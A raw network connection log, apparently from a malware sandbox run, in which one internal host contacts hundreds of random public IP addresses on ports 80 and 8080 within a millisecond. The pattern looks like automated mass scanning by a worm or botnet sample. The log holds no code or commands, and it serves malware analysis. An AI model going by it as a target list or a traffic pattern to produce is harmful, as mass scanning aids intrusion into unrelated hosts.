Mar 4, 2024 15:05:30.151612043 CET	47577	8080	192.168.2.13	31.107.247.31
Mar 4, 2024 15:05:30.151612043 CET	48089	80	192.168.2.13	88.140.134.137
Mar 4, 2024 15:05:30.151621103 CET	48089	80	192.168.2.13	88.172.141.133
Mar 4, 2024 15:05:30.151622057 CET	48089	80	192.168.2.13	88.243.71.40
Mar 4, 2024 15:05:30.151638031 CET	47577	8080	192.168.2.13	95.28.140.150
Mar 4, 2024 15:05:30.151638985 CET	48089	80	192.168.2.13	88.120.27.63
Mar 4, 2024 15:05:30.151638031 CET	48089	80	192.168.2.13	88.16.86.86
Mar 4, 2024 15:05:30.151639938 CET	47577	8080	192.168.2.13	94.148.160.5
Mar 4, 2024 15:05:30.151638031 CET	48089	80	192.168.2.13	88.46.65.231
Mar 4, 2024 15:05:30.151650906 CET	47577	8080	192.168.2.13	95.190.105.135
Mar 4, 2024 15:05:30.151654005 CET	47577	8080	192.168.2.13	85.61.68.229
Mar 4, 2024 15:05:30.151654005 CET	47577	8080	192.168.2.13	62.138.59.220
Mar 4, 2024 15:05:30.151654959 CET	48089	80	192.168.2.13	88.168.47.249
Mar 4, 2024 15:05:30.151654959 CET	48089	80	192.168.2.13	88.89.122.201
Mar 4, 2024 15:05:30.151654959 CET	47577	8080	192.168.2.13	62.174.76.34
Mar 4, 2024 15:05:30.151663065 CET	48089	80	192.168.2.13	88.27.244.111
Mar 4, 2024 15:05:30.151664972 CET	48089	80	192.168.2.13	88.85.126.162
Mar 4, 2024 15:05:30.151664972 CET	47577	8080	192.168.2.13	85.41.79.231
Mar 4, 2024 15:05:30.151673079 CET	48089	80	192.168.2.13	88.200.21.18
Mar 4, 2024 15:05:30.151680946 CET	47577	8080	192.168.2.13	95.227.96.200
Mar 4, 2024 15:05:30.151680946 CET	47577	8080	192.168.2.13	95.161.201.76
Mar 4, 2024 15:05:30.151684046 CET	47577	8080	192.168.2.13	85.122.110.215
Mar 4, 2024 15:05:30.151684046 CET	47577	8080	192.168.2.13	95.183.135.202
Mar 4, 2024 15:05:30.151696920 CET	47577	8080	192.168.2.13	31.139.137.101
Mar 4, 2024 15:05:30.151696920 CET	48089	80	192.168.2.13	88.105.158.87
Mar 4, 2024 15:05:30.151702881 CET	48089	80	192.168.2.13	88.78.248.91
Mar 4, 2024 15:05:30.151702881 CET	47577	8080	192.168.2.13	85.27.21.143
Mar 4, 2024 15:05:30.151705980 CET	47577	8080	192.168.2.13	31.207.126.208
Mar 4, 2024 15:05:30.151702881 CET	48089	80	192.168.2.13	88.18.41.125
Mar 4, 2024 15:05:30.151702881 CET	47577	8080	192.168.2.13	94.172.144.205
Mar 4, 2024 15:05:30.151720047 CET	47577	8080	192.168.2.13	95.193.249.164
Mar 4, 2024 15:05:30.151720047 CET	47577	8080	192.168.2.13	94.195.150.91
Mar 4, 2024 15:05:30.151720047 CET	48089	80	192.168.2.13	88.207.102.128
Mar 4, 2024 15:05:30.151727915 CET	47577	8080	192.168.2.13	85.83.28.130
Mar 4, 2024 15:05:30.151735067 CET	47577	8080	192.168.2.13	85.205.20.114
Mar 4, 2024 15:05:30.151736021 CET	48089	80	192.168.2.13	88.255.75.227
Mar 4, 2024 15:05:30.151741028 CET	47577	8080	192.168.2.13	31.253.11.224
Mar 4, 2024 15:05:30.151748896 CET	47577	8080	192.168.2.13	94.66.73.132
Mar 4, 2024 15:05:30.151757002 CET	47577	8080	192.168.2.13	31.120.119.248
Mar 4, 2024 15:05:30.151760101 CET	48089	80	192.168.2.13	88.149.97.211
Mar 4, 2024 15:05:30.151773930 CET	47577	8080	192.168.2.13	62.250.103.187
Mar 4, 2024 15:05:30.151782036 CET	48089	80	192.168.2.13	88.148.151.231
Mar 4, 2024 15:05:30.151784897 CET	47577	8080	192.168.2.13	95.203.58.61
Mar 4, 2024 15:05:30.151784897 CET	47577	8080	192.168.2.13	95.146.20.11
Mar 4, 2024 15:05:30.151786089 CET	47577	8080	192.168.2.13	95.16.136.127
Mar 4, 2024 15:05:30.151784897 CET	47577	8080	192.168.2.13	95.112.115.120
Mar 4, 2024 15:05:30.151796103 CET	47577	8080	192.168.2.13	62.60.141.205
Mar 4, 2024 15:05:30.151802063 CET	47577	8080	192.168.2.13	94.10.8.75
Mar 4, 2024 15:05:30.151802063 CET	47577	8080	192.168.2.13	31.83.129.20
Mar 4, 2024 15:05:30.151802063 CET	47577	8080	192.168.2.13	62.41.228.213
Mar 4, 2024 15:05:30.151802063 CET	48089	80	192.168.2.13	88.78.102.1
Mar 4, 2024 15:05:30.151802063 CET	48089	80	192.168.2.13	88.252.215.213
Mar 4, 2024 15:05:30.151808977 CET	48089	80	192.168.2.13	88.88.75.146
Mar 4, 2024 15:05:30.151809931 CET	47577	8080	192.168.2.13	94.105.60.177
Mar 4, 2024 15:05:30.151809931 CET	48089	80	192.168.2.13	88.140.224.131
Mar 4, 2024 15:05:30.151827097 CET	47577	8080	192.168.2.13	95.193.115.156
Mar 4, 2024 15:05:30.151827097 CET	47577	8080	192.168.2.13	31.84.243.213
Mar 4, 2024 15:05:30.151827097 CET	48089	80	192.168.2.13	88.234.186.249
Mar 4, 2024 15:05:30.151827097 CET	47577	8080	192.168.2.13	62.116.241.71
Mar 4, 2024 15:05:30.151834011 CET	48089	80	192.168.2.13	88.12.252.38
Mar 4, 2024 15:05:30.151834011 CET	47577	8080	192.168.2.13	95.158.153.21
Mar 4, 2024 15:05:30.151856899 CET	47577	8080	192.168.2.13	94.96.124.252
Mar 4, 2024 15:05:30.151863098 CET	47577	8080	192.168.2.13	94.83.48.5
Mar 4, 2024 15:05:30.151863098 CET	47577	8080	192.168.2.13	85.171.31.21
Mar 4, 2024 15:05:30.151864052 CET	47577	8080	192.168.2.13	94.26.175.119
Mar 4, 2024 15:05:30.151866913 CET	47577	8080	192.168.2.13	62.9.125.186
Mar 4, 2024 15:05:30.151873112 CET	47577	8080	192.168.2.13	95.233.76.67
Mar 4, 2024 15:05:30.151887894 CET	48089	80	192.168.2.13	88.248.32.190
Mar 4, 2024 15:05:30.151887894 CET	47577	8080	192.168.2.13	94.229.139.215
Mar 4, 2024 15:05:30.151890039 CET	48089	80	192.168.2.13	88.122.137.172
Mar 4, 2024 15:05:30.151895046 CET	47577	8080	192.168.2.13	95.104.193.239
Mar 4, 2024 15:05:30.151897907 CET	47577	8080	192.168.2.13	85.186.108.46
Mar 4, 2024 15:05:30.151900053 CET	48089	80	192.168.2.13	88.79.203.155
Mar 4, 2024 15:05:30.151905060 CET	48089	80	192.168.2.13	88.241.158.176
Mar 4, 2024 15:05:30.151905060 CET	48089	80	192.168.2.13	88.96.63.116
Mar 4, 2024 15:05:30.151905060 CET	47577	8080	192.168.2.13	95.168.226.197
Mar 4, 2024 15:05:30.151911020 CET	47577	8080	192.168.2.13	62.229.166.81
Mar 4, 2024 15:05:30.151911020 CET	48089	80	192.168.2.13	88.112.23.245
Mar 4, 2024 15:05:30.151913881 CET	47577	8080	192.168.2.13	94.89.236.123
Mar 4, 2024 15:05:30.151911020 CET	47577	8080	192.168.2.13	85.202.160.75
Mar 4, 2024 15:05:30.151920080 CET	47577	8080	192.168.2.13	62.209.84.149
Mar 4, 2024 15:05:30.151923895 CET	47577	8080	192.168.2.13	94.94.196.216
Mar 4, 2024 15:05:30.151926994 CET	47577	8080	192.168.2.13	95.27.70.153
Mar 4, 2024 15:05:30.151942968 CET	47577	8080	192.168.2.13	94.1.208.32
Mar 4, 2024 15:05:30.151942968 CET	48089	80	192.168.2.13	88.99.39.211
Mar 4, 2024 15:05:30.151951075 CET	47577	8080	192.168.2.13	95.145.117.195
Mar 4, 2024 15:05:30.151954889 CET	47577	8080	192.168.2.13	62.136.188.188
Mar 4, 2024 15:05:30.151964903 CET	48089	80	192.168.2.13	88.238.15.112
Mar 4, 2024 15:05:30.151968956 CET	48089	80	192.168.2.13	88.143.155.4
Mar 4, 2024 15:05:30.151973963 CET	47577	8080	192.168.2.13	85.195.100.1
Mar 4, 2024 15:05:30.151981115 CET	47577	8080	192.168.2.13	94.93.230.75
Mar 4, 2024 15:05:30.151995897 CET	48089	80	192.168.2.13	88.28.231.236
Mar 4, 2024 15:05:30.151995897 CET	47577	8080	192.168.2.13	62.176.123.241
Mar 4, 2024 15:05:30.151998997 CET	47577	8080	192.168.2.13	31.238.19.159
Mar 4, 2024 15:05:30.151998997 CET	48089	80	192.168.2.13	88.182.58.61
Mar 4, 2024 15:05:30.152009010 CET	47577	8080	192.168.2.13	95.82.103.100
Mar 4, 2024 15:05:30.152009010 CET	47577	8080	192.168.2.13	62.71.213.115
Mar 4, 2024 15:05:30.152009964 CET	47577	8080	192.168.2.13	85.134.169.210
Mar 4, 2024 15:05:30.152009964 CET	47577	8080	192.168.2.13	94.143.1.17
Mar 4, 2024 15:05:30.152014971 CET	47577	8080	192.168.2.13	94.113.113.157
Mar 4, 2024 15:05:30.152015924 CET	47577	8080	192.168.2.13	62.214.254.228
Mar 4, 2024 15:05:30.152034998 CET	47577	8080	192.168.2.13	62.106.241.243
Mar 4, 2024 15:05:30.152034998 CET	48089	80	192.168.2.13	88.98.206.15
Mar 4, 2024 15:05:30.152035952 CET	47577	8080	192.168.2.13	31.226.97.91
Mar 4, 2024 15:05:30.152040005 CET	47577	8080	192.168.2.13	94.29.195.195
Mar 4, 2024 15:05:30.152040958 CET	47577	8080	192.168.2.13	94.233.32.115
Mar 4, 2024 15:05:30.152066946 CET	47577	8080	192.168.2.13	62.91.29.117
Mar 4, 2024 15:05:30.152069092 CET	47577	8080	192.168.2.13	94.94.248.206
Mar 4, 2024 15:05:30.152072906 CET	47577	8080	192.168.2.13	94.111.82.24
Mar 4, 2024 15:05:30.152072906 CET	48089	80	192.168.2.13	88.153.224.64
Mar 4, 2024 15:05:30.152072906 CET	47577	8080	192.168.2.13	85.218.183.229
Mar 4, 2024 15:05:30.152074099 CET	48089	80	192.168.2.13	88.202.237.176
Mar 4, 2024 15:05:30.152074099 CET	47577	8080	192.168.2.13	62.200.15.208
Mar 4, 2024 15:05:30.152074099 CET	48089	80	192.168.2.13	88.38.255.108
Mar 4, 2024 15:05:30.152074099 CET	47577	8080	192.168.2.13	31.244.130.229
Mar 4, 2024 15:05:30.152074099 CET	47577	8080	192.168.2.13	85.196.195.192
Mar 4, 2024 15:05:30.152077913 CET	47577	8080	192.168.2.13	31.244.187.175
Mar 4, 2024 15:05:30.152075052 CET	48089	80	192.168.2.13	88.187.132.196
Mar 4, 2024 15:05:30.152077913 CET	47577	8080	192.168.2.13	62.180.156.147
Mar 4, 2024 15:05:30.152097940 CET	47577	8080	192.168.2.13	31.250.195.52
Mar 4, 2024 15:05:30.152098894 CET	47577	8080	192.168.2.13	31.203.89.232
Mar 4, 2024 15:05:30.152097940 CET	48089	80	192.168.2.13	88.222.22.126
Mar 4, 2024 15:05:30.152098894 CET	47577	8080	192.168.2.13	31.233.169.156
Mar 4, 2024 15:05:30.152097940 CET	47577	8080	192.168.2.13	31.220.189.141
Mar 4, 2024 15:05:30.152100086 CET	48089	80	192.168.2.13	88.75.155.153
Mar 4, 2024 15:05:30.152100086 CET	47577	8080	192.168.2.13	31.2.46.105
Mar 4, 2024 15:05:30.152097940 CET	48089	80	192.168.2.13	88.17.41.131
Mar 4, 2024 15:05:30.152097940 CET	47577	8080	192.168.2.13	85.56.199.175
Mar 4, 2024 15:05:30.152110100 CET	47577	8080	192.168.2.13	95.244.40.3
Mar 4, 2024 15:05:30.152110100 CET	48089	80	192.168.2.13	88.253.50.236
Mar 4, 2024 15:05:30.152097940 CET	47577	8080	192.168.2.13	95.218.18.242
Mar 4, 2024 15:05:30.152097940 CET	48089	80	192.168.2.13	88.161.159.191
Mar 4, 2024 15:05:30.152110100 CET	48089	80	192.168.2.13	88.4.19.8
Mar 4, 2024 15:05:30.152097940 CET	47577	8080	192.168.2.13	94.157.195.123
Mar 4, 2024 15:05:30.152110100 CET	48089	80	192.168.2.13	88.138.64.235
Mar 4, 2024 15:05:30.152098894 CET	48089	80	192.168.2.13	88.106.88.41
Mar 4, 2024 15:05:30.152122974 CET	48089	80	192.168.2.13	88.71.230.118
Mar 4, 2024 15:05:30.152122974 CET	47577	8080	192.168.2.13	85.177.37.188
Mar 4, 2024 15:05:30.152122974 CET	47577	8080	192.168.2.13	95.159.79.7
Mar 4, 2024 15:05:30.152132034 CET	47577	8080	192.168.2.13	95.94.200.222
Mar 4, 2024 15:05:30.152132034 CET	47577	8080	192.168.2.13	95.10.88.8
Mar 4, 2024 15:05:30.152132034 CET	47577	8080	192.168.2.13	95.184.164.144
Mar 4, 2024 15:05:30.152132988 CET	47577	8080	192.168.2.13	94.164.113.123
Mar 4, 2024 15:05:30.152132988 CET	47577	8080	192.168.2.13	94.70.102.150
Mar 4, 2024 15:05:30.152132988 CET	47577	8080	192.168.2.13	94.214.67.100
Mar 4, 2024 15:05:30.152132988 CET	48089	80	192.168.2.13	88.248.221.103
Mar 4, 2024 15:05:30.152132988 CET	48089	80	192.168.2.13	88.196.213.70
Mar 4, 2024 15:05:30.152157068 CET	48089	80	192.168.2.13	88.229.9.43
Mar 4, 2024 15:05:30.152157068 CET	47577	8080	192.168.2.13	85.74.160.167
Mar 4, 2024 15:05:30.152157068 CET	47577	8080	192.168.2.13	85.57.198.123
Mar 4, 2024 15:05:30.152157068 CET	47577	8080	192.168.2.13	31.245.69.125
Mar 4, 2024 15:05:30.152157068 CET	47577	8080	192.168.2.13	31.190.36.129
Mar 4, 2024 15:05:30.152157068 CET	47577	8080	192.168.2.13	85.120.33.36
Mar 4, 2024 15:05:30.152157068 CET	47577	8080	192.168.2.13	62.25.59.111
Mar 4, 2024 15:05:30.152157068 CET	48089	80	192.168.2.13	88.194.214.177
Mar 4, 2024 15:05:30.152177095 CET	47577	8080	192.168.2.13	95.205.163.146
Mar 4, 2024 15:05:30.152177095 CET	47577	8080	192.168.2.13	94.134.143.194
Mar 4, 2024 15:05:30.152177095 CET	47577	8080	192.168.2.13	95.41.169.65
Mar 4, 2024 15:05:30.152177095 CET	48089	80	192.168.2.13	88.238.237.182
Mar 4, 2024 15:05:30.152177095 CET	47577	8080	192.168.2.13	95.45.43.200
Mar 4, 2024 15:05:30.152177095 CET	47577	8080	192.168.2.13	85.119.89.146
Mar 4, 2024 15:05:30.152179956 CET	48089	80	192.168.2.13	88.117.112.227
Mar 4, 2024 15:05:30.152179956 CET	47577	8080	192.168.2.13	62.205.61.132
Mar 4, 2024 15:05:30.152180910 CET	48089	80	192.168.2.13	88.157.28.94
Mar 4, 2024 15:05:30.152179956 CET	47577	8080	192.168.2.13	31.14.99.241
Mar 4, 2024 15:05:30.152179956 CET	47577	8080	192.168.2.13	94.174.107.77
Mar 4, 2024 15:05:30.152180910 CET	47577	8080	192.168.2.13	85.40.8.227
Mar 4, 2024 15:05:30.152179956 CET	47577	8080	192.168.2.13	95.34.71.31
Mar 4, 2024 15:05:30.152180910 CET	47577	8080	192.168.2.13	95.88.68.139
Mar 4, 2024 15:05:30.152179956 CET	48089	80	192.168.2.13	88.97.46.23
Mar 4, 2024 15:05:30.152179956 CET	47577	8080	192.168.2.13	95.216.184.156
Mar 4, 2024 15:05:30.152179956 CET	47577	8080	192.168.2.13	95.233.27.104
Mar 4, 2024 15:05:30.152179956 CET	48089	80	192.168.2.13	88.107.169.4
Mar 4, 2024 15:05:30.152180910 CET	47577	8080	192.168.2.13	95.252.113.70
Mar 4, 2024 15:05:30.152180910 CET	47577	8080	192.168.2.13	62.86.67.248
Mar 4, 2024 15:05:30.152180910 CET	48089	80	192.168.2.13	88.161.238.54
Mar 4, 2024 15:05:30.152180910 CET	47577	8080	192.168.2.13	31.247.32.26
Mar 4, 2024 15:05:30.152196884 CET	48089	80	192.168.2.13	88.26.30.94
Mar 4, 2024 15:05:30.152198076 CET	47577	8080	192.168.2.13	95.223.56.0
Mar 4, 2024 15:05:30.152198076 CET	47577	8080	192.168.2.13	94.119.226.92
Mar 4, 2024 15:05:30.152198076 CET	47577	8080	192.168.2.13	85.72.78.77
Mar 4, 2024 15:05:30.152198076 CET	47577	8080	192.168.2.13	31.235.88.102
Mar 4, 2024 15:05:30.152198076 CET	48089	80	192.168.2.13	88.101.22.152
Mar 4, 2024 15:05:30.152198076 CET	47577	8080	192.168.2.13	31.120.58.205
Mar 4, 2024 15:05:30.152198076 CET	47577	8080	192.168.2.13	94.69.99.136
Mar 4, 2024 15:05:30.152234077 CET	47577	8080	192.168.2.13	85.151.198.218
Mar 4, 2024 15:05:30.152234077 CET	47577	8080	192.168.2.13	94.176.218.157
Mar 4, 2024 15:05:30.152234077 CET	47577	8080	192.168.2.13	94.130.34.203
Mar 4, 2024 15:05:30.152251959 CET	48089	80	192.168.2.13	88.147.183.247
Mar 4, 2024 15:05:30.152251959 CET	48089	80	192.168.2.13	88.31.127.159
Mar 4, 2024 15:05:30.152251959 CET	47577	8080	192.168.2.13	85.172.133.137
Mar 4, 2024 15:05:30.152255058 CET	48089	80	192.168.2.13	88.42.62.33
Mar 4, 2024 15:05:30.152259111 CET	47577	8080	192.168.2.13	62.97.254.83
Mar 4, 2024 15:05:30.152259111 CET	47577	8080	192.168.2.13	31.88.83.32
Mar 4, 2024 15:05:30.152259111 CET	47577	8080	192.168.2.13	85.50.61.8
Mar 4, 2024 15:05:30.152276039 CET	48089	80	192.168.2.13	88.188.176.173
Mar 4, 2024 15:05:30.152296066 CET	47577	8080	192.168.2.13	94.56.48.111
Mar 4, 2024 15:05:30.152296066 CET	47577	8080	192.168.2.13	85.212.114.51
Mar 4, 2024 15:05:30.152299881 CET	48089	80	192.168.2.13	88.190.6.235
Mar 4, 2024 15:05:30.152299881 CET	48089	80	192.168.2.13	88.252.146.157
Mar 4, 2024 15:05:30.152307987 CET	47577	8080	192.168.2.13	85.191.23.182
Mar 4, 2024 15:05:30.152322054 CET	47577	8080	192.168.2.13	85.220.88.132
Mar 4, 2024 15:05:30.152328014 CET	47577	8080	192.168.2.13	31.13.137.59
Mar 4, 2024 15:05:30.152327061 CET	47577	8080	192.168.2.13	62.115.248.85
Mar 4, 2024 15:05:30.152327061 CET	48089	80	192.168.2.13	88.97.141.192
Mar 4, 2024 15:05:30.152327061 CET	47577	8080	192.168.2.13	62.175.198.144
Mar 4, 2024 15:05:30.152327061 CET	47577	8080	192.168.2.13	95.112.47.183
Mar 4, 2024 15:05:30.152327061 CET	47577	8080	192.168.2.13	85.93.34.124
Mar 4, 2024 15:05:30.152327061 CET	48089	80	192.168.2.13	88.213.196.125
Mar 4, 2024 15:05:30.152333975 CET	47577	8080	192.168.2.13	62.158.32.35
Mar 4, 2024 15:05:30.152328014 CET	47577	8080	192.168.2.13	95.119.31.118
Mar 4, 2024 15:05:30.152333975 CET	47577	8080	192.168.2.13	95.30.13.87
Mar 4, 2024 15:05:30.152338982 CET	48089	80	192.168.2.13	88.235.157.19
Mar 4, 2024 15:05:30.152328014 CET	47577	8080	192.168.2.13	62.42.144.128
Mar 4, 2024 15:05:30.152357101 CET	47577	8080	192.168.2.13	95.163.208.43
Mar 4, 2024 15:05:30.152357101 CET	47577	8080	192.168.2.13	85.185.144.143
Mar 4, 2024 15:05:30.152357101 CET	47577	8080	192.168.2.13	95.185.170.14
Mar 4, 2024 15:05:30.152357101 CET	47577	8080	192.168.2.13	62.150.242.176
Mar 4, 2024 15:05:30.152360916 CET	48089	80	192.168.2.13	88.130.247.7
Mar 4, 2024 15:05:30.152357101 CET	48089	80	192.168.2.13	88.140.50.81
Mar 4, 2024 15:05:30.152357101 CET	47577	8080	192.168.2.13	95.99.32.83
Mar 4, 2024 15:05:30.152357101 CET	47577	8080	192.168.2.13	95.159.174.174
Mar 4, 2024 15:05:30.152357101 CET	48089	80	192.168.2.13	88.187.193.65
Mar 4, 2024 15:05:30.152384996 CET	47577	8080	192.168.2.13	31.210.172.121
Mar 4, 2024 15:05:30.152385950 CET	47577	8080	192.168.2.13	85.187.123.27
Mar 4, 2024 15:05:30.152385950 CET	47577	8080	192.168.2.13	31.117.153.222
Mar 4, 2024 15:05:30.152385950 CET	47577	8080	192.168.2.13	95.229.184.129
Mar 4, 2024 15:05:30.152385950 CET	47577	8080	192.168.2.13	85.227.229.137
Mar 4, 2024 15:05:30.152385950 CET	47577	8080	192.168.2.13	85.128.253.42
Mar 4, 2024 15:05:30.152385950 CET	48089	80	192.168.2.13	88.229.10.112
Mar 4, 2024 15:05:30.152391911 CET	48089	80	192.168.2.13	88.192.253.64
Mar 4, 2024 15:05:30.152385950 CET	48089	80	192.168.2.13	88.161.228.201
Mar 4, 2024 15:05:30.152391911 CET	47577	8080	192.168.2.13	31.179.59.0
Mar 4, 2024 15:05:30.152391911 CET	47577	8080	192.168.2.13	85.53.209.127
Mar 4, 2024 15:05:30.152391911 CET	47577	8080	192.168.2.13	85.217.222.205
Mar 4, 2024 15:05:30.152391911 CET	47577	8080	192.168.2.13	62.53.125.134
Mar 4, 2024 15:05:30.152396917 CET	47577	8080	192.168.2.13	62.15.186.233
Mar 4, 2024 15:05:30.152391911 CET	47577	8080	192.168.2.13	31.24.242.42
Mar 4, 2024 15:05:30.152391911 CET	47577	8080	192.168.2.13	31.232.253.122
Mar 4, 2024 15:05:30.152393103 CET	47577	8080	192.168.2.13	62.5.35.198
Mar 4, 2024 15:05:30.152393103 CET	47577	8080	192.168.2.13	94.107.16.100
Mar 4, 2024 15:05:30.152415037 CET	48089	80	192.168.2.13	88.45.52.218
Mar 4, 2024 15:05:30.152419090 CET	48089	80	192.168.2.13	88.240.138.9
Mar 4, 2024 15:05:30.152436972 CET	47577	8080	192.168.2.13	94.53.103.107
Mar 4, 2024 15:05:30.152436972 CET	47577	8080	192.168.2.13	85.50.190.218
Mar 4, 2024 15:05:30.152439117 CET	48089	80	192.168.2.13	88.55.150.152
Mar 4, 2024 15:05:30.152441025 CET	47577	8080	192.168.2.13	85.133.34.204
Mar 4, 2024 15:05:30.152468920 CET	47577	8080	192.168.2.13	95.168.153.39
Mar 4, 2024 15:05:30.152475119 CET	47577	8080	192.168.2.13	31.108.121.246
Mar 4, 2024 15:05:30.152475119 CET	47577	8080	192.168.2.13	31.39.29.61
Mar 4, 2024 15:05:30.152475119 CET	48089	80	192.168.2.13	88.7.115.40
Mar 4, 2024 15:05:30.152475119 CET	47577	8080	192.168.2.13	94.167.62.47
Mar 4, 2024 15:05:30.152475119 CET	48089	80	192.168.2.13	88.16.49.84
Mar 4, 2024 15:05:30.152475119 CET	48089	80	192.168.2.13	88.5.61.215
Mar 4, 2024 15:05:30.152491093 CET	47577	8080	192.168.2.13	62.194.82.248
Mar 4, 2024 15:05:30.152491093 CET	47577	8080	192.168.2.13	95.128.234.141
Mar 4, 2024 15:05:30.152492046 CET	47577	8080	192.168.2.13	85.77.73.94
Mar 4, 2024 15:05:30.152493000 CET	48089	80	192.168.2.13	88.233.83.183
Mar 4, 2024 15:05:30.152492046 CET	47577	8080	192.168.2.13	31.35.241.60
Mar 4, 2024 15:05:30.152492046 CET	47577	8080	192.168.2.13	62.43.117.243
Mar 4, 2024 15:05:30.152492046 CET	48089	80	192.168.2.13	88.53.137.244
Mar 4, 2024 15:05:30.152492046 CET	47577	8080	192.168.2.13	31.154.215.132
Mar 4, 2024 15:05:30.152492046 CET	48089	80	192.168.2.13	88.160.169.132
Mar 4, 2024 15:05:30.152492046 CET	48089	80	192.168.2.13	88.176.102.162
Mar 4, 2024 15:05:30.152492046 CET	48089	80	192.168.2.13	88.137.23.125
Mar 4, 2024 15:05:30.152492046 CET	47577	8080	192.168.2.13	62.178.148.114
Mar 4, 2024 15:05:30.152513027 CET	47577	8080	192.168.2.13	31.238.176.157
Mar 4, 2024 15:05:30.152518988 CET	48089	80	192.168.2.13	88.191.57.61
Mar 4, 2024 15:05:30.152518988 CET	47577	8080	192.168.2.13	62.198.233.88
Mar 4, 2024 15:05:30.152525902 CET	48089	80	192.168.2.13	88.141.51.223
Mar 4, 2024 15:05:30.152525902 CET	48089	80	192.168.2.13	88.34.48.246
Mar 4, 2024 15:05:30.152525902 CET	47577	8080	192.168.2.13	94.223.68.188
Mar 4, 2024 15:05:30.152525902 CET	47577	8080	192.168.2.13	31.155.239.254
Mar 4, 2024 15:05:30.152525902 CET	47577	8080	192.168.2.13	62.157.73.124
Mar 4, 2024 15:05:30.152532101 CET	47577	8080	192.168.2.13	62.143.182.171
Mar 4, 2024 15:05:30.152532101 CET	47577	8080	192.168.2.13	62.25.223.224
Mar 4, 2024 15:05:30.152532101 CET	47577	8080	192.168.2.13	62.162.36.189
Mar 4, 2024 15:05:30.152533054 CET	48089	80	192.168.2.13	88.145.233.133
Mar 4, 2024 15:05:30.152533054 CET	47577	8080	192.168.2.13	94.209.80.109
Mar 4, 2024 15:05:30.152533054 CET	48089	80	192.168.2.13	88.194.94.60
Mar 4, 2024 15:05:30.152533054 CET	47577	8080	192.168.2.13	31.17.135.111
Mar 4, 2024 15:05:30.152535915 CET	48089	80	192.168.2.13	88.144.166.193
Mar 4, 2024 15:05:30.152545929 CET	47577	8080	192.168.2.13	62.141.163.229
Mar 4, 2024 15:05:30.152553082 CET	47577	8080	192.168.2.13	94.189.52.124
Mar 4, 2024 15:05:30.152558088 CET	47577	8080	192.168.2.13	31.20.191.29
Mar 4, 2024 15:05:30.152558088 CET	47577	8080	192.168.2.13	31.148.44.221
Mar 4, 2024 15:05:30.152566910 CET	47577	8080	192.168.2.13	31.157.236.59
Mar 4, 2024 15:05:30.152575970 CET	47577	8080	192.168.2.13	85.93.115.90
Mar 4, 2024 15:05:30.152576923 CET	47577	8080	192.168.2.13	94.165.115.186
Mar 4, 2024 15:05:30.152576923 CET	48089	80	192.168.2.13	88.219.120.249
Mar 4, 2024 15:05:30.152578115 CET	47577	8080	192.168.2.13	95.57.212.190
Mar 4, 2024 15:05:30.152578115 CET	48089	80	192.168.2.13	88.134.160.105
Mar 4, 2024 15:05:30.152581930 CET	47577	8080	192.168.2.13	31.156.207.31
Mar 4, 2024 15:05:30.152578115 CET	47577	8080	192.168.2.13	62.82.97.10
Mar 4, 2024 15:05:30.152584076 CET	47577	8080	192.168.2.13	62.255.25.24
Mar 4, 2024 15:05:30.152585030 CET	47577	8080	192.168.2.13	95.255.188.110
Mar 4, 2024 15:05:30.152602911 CET	47577	8080	192.168.2.13	94.33.38.81
Mar 4, 2024 15:05:30.152604103 CET	47577	8080	192.168.2.13	85.226.123.87
Mar 4, 2024 15:05:30.152626991 CET	47577	8080	192.168.2.13	31.218.169.152
Mar 4, 2024 15:05:30.152636051 CET	48089	80	192.168.2.13	88.19.84.4
Mar 4, 2024 15:05:30.152636051 CET	47577	8080	192.168.2.13	94.251.44.68
Mar 4, 2024 15:05:30.152636051 CET	47577	8080	192.168.2.13	85.179.162.214
Mar 4, 2024 15:05:30.152638912 CET	47577	8080	192.168.2.13	62.22.49.248
Mar 4, 2024 15:05:30.152638912 CET	47577	8080	192.168.2.13	95.50.242.19
Mar 4, 2024 15:05:30.152636051 CET	47577	8080	192.168.2.13	31.107.68.139
Mar 4, 2024 15:05:30.152638912 CET	47577	8080	192.168.2.13	62.181.54.87
Mar 4, 2024 15:05:30.152638912 CET	47577	8080	192.168.2.13	31.183.34.180
Mar 4, 2024 15:05:30.152636051 CET	47577	8080	192.168.2.13	94.122.33.130
Mar 4, 2024 15:05:30.152638912 CET	48089	80	192.168.2.13	88.166.56.63
Mar 4, 2024 15:05:30.152640104 CET	47577	8080	192.168.2.13	31.114.185.96
Mar 4, 2024 15:05:30.152636051 CET	48089	80	192.168.2.13	88.69.222.123
Mar 4, 2024 15:05:30.152636051 CET	47577	8080	192.168.2.13	85.91.246.138
Mar 4, 2024 15:05:30.152637005 CET	47577	8080	192.168.2.13	85.48.118.16
Mar 4, 2024 15:05:30.152650118 CET	48089	80	192.168.2.13	88.87.83.178
Mar 4, 2024 15:05:30.152650118 CET	47577	8080	192.168.2.13	31.202.150.12
Mar 4, 2024 15:05:30.152657032 CET	48089	80	192.168.2.13	88.13.179.43
Mar 4, 2024 15:05:30.152658939 CET	48089	80	192.168.2.13	88.43.222.180
Mar 4, 2024 15:05:30.152657032 CET	47577	8080	192.168.2.13	31.158.201.138
Mar 4, 2024 15:05:30.152678967 CET	47577	8080	192.168.2.13	31.36.166.249
Mar 4, 2024 15:05:30.152678967 CET	47577	8080	192.168.2.13	62.74.28.16
Mar 4, 2024 15:05:30.152678967 CET	48089	80	192.168.2.13	88.227.18.145
Mar 4, 2024 15:05:30.152689934 CET	48089	80	192.168.2.13	88.112.147.18
Mar 4, 2024 15:05:30.152688980 CET	48089	80	192.168.2.13	88.71.237.182
Mar 4, 2024 15:05:30.152689934 CET	48089	80	192.168.2.13	88.116.192.180
Mar 4, 2024 15:05:30.152688980 CET	48089	80	192.168.2.13	88.140.183.238
Mar 4, 2024 15:05:30.152692080 CET	47577	8080	192.168.2.13	94.195.218.47
Mar 4, 2024 15:05:30.152709007 CET	47577	8080	192.168.2.13	95.8.152.132
Mar 4, 2024 15:05:30.152710915 CET	47577	8080	192.168.2.13	62.77.188.231
Mar 4, 2024 15:05:30.152710915 CET	47577	8080	192.168.2.13	94.66.122.48
Mar 4, 2024 15:05:30.152721882 CET	47577	8080	192.168.2.13	94.246.90.88
Mar 4, 2024 15:05:30.152721882 CET	48089	80	192.168.2.13	88.53.249.49
Mar 4, 2024 15:05:30.152739048 CET	47577	8080	192.168.2.13	95.227.37.245
Mar 4, 2024 15:05:30.152740002 CET	47577	8080	192.168.2.13	85.234.222.90
Mar 4, 2024 15:05:30.152745962 CET	47577	8080	192.168.2.13	62.201.193.202
Mar 4, 2024 15:05:30.152745008 CET	47577	8080	192.168.2.13	31.101.98.1
